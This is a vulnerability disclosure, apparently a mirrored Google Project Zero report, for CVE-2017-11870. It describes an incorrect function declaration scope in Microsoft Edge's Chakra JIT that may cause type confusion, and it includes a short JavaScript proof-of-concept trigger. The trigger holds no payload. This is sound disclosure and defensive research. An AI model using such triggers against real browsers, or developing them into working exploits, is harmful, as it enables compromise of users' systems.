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Microsoft Edge Chakra JIT Incorrect Function Declaration Scope

Microsoft Edge Chakra JIT Incorrect Function Declaration Scope
Posted Nov 25, 2017
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra JIT suffers from an incorrect function declaration scope.

tags | exploit
advisories | CVE-2017-11870
MD5 | 3f27494ced33a270a79920688e517df8

Microsoft Edge Chakra JIT Incorrect Function Declaration Scope

Change Mirror Download
Microsoft Edge: Chakra: JIT: Incorrect function declaration scope 

CVE-2017-11870


In the following JavaScript code, both of the print calls must print out "undefined" because of "x" is a formal parameter. But the second print call prints out "function x() { }". This bug may lead to type confusion in JITed code.

function f(x) {
print(x);

{
function x() {

}
}

print(x);
}

The following code in "PreVisitFunction" is used to decide how to optimize arguments.
bool doStackArgsOpt = (!pnode->sxFnc.HasAnyWriteToFormals() || funcInfo->GetIsStrictMode());

"HasAnyWriteToFormals" set by "Parser::BindPidRefsInScope" returns true in the following example code where "x" is formal. But the method can't detect the above buggy case, so it may end up wrongly optimizing arguments.

function f(x) {
x = 1;
}


PoC:
function f(x) {
arguments;

{
function x() {
}
}
}

for (let i = 0; i < 10000; i++)
f();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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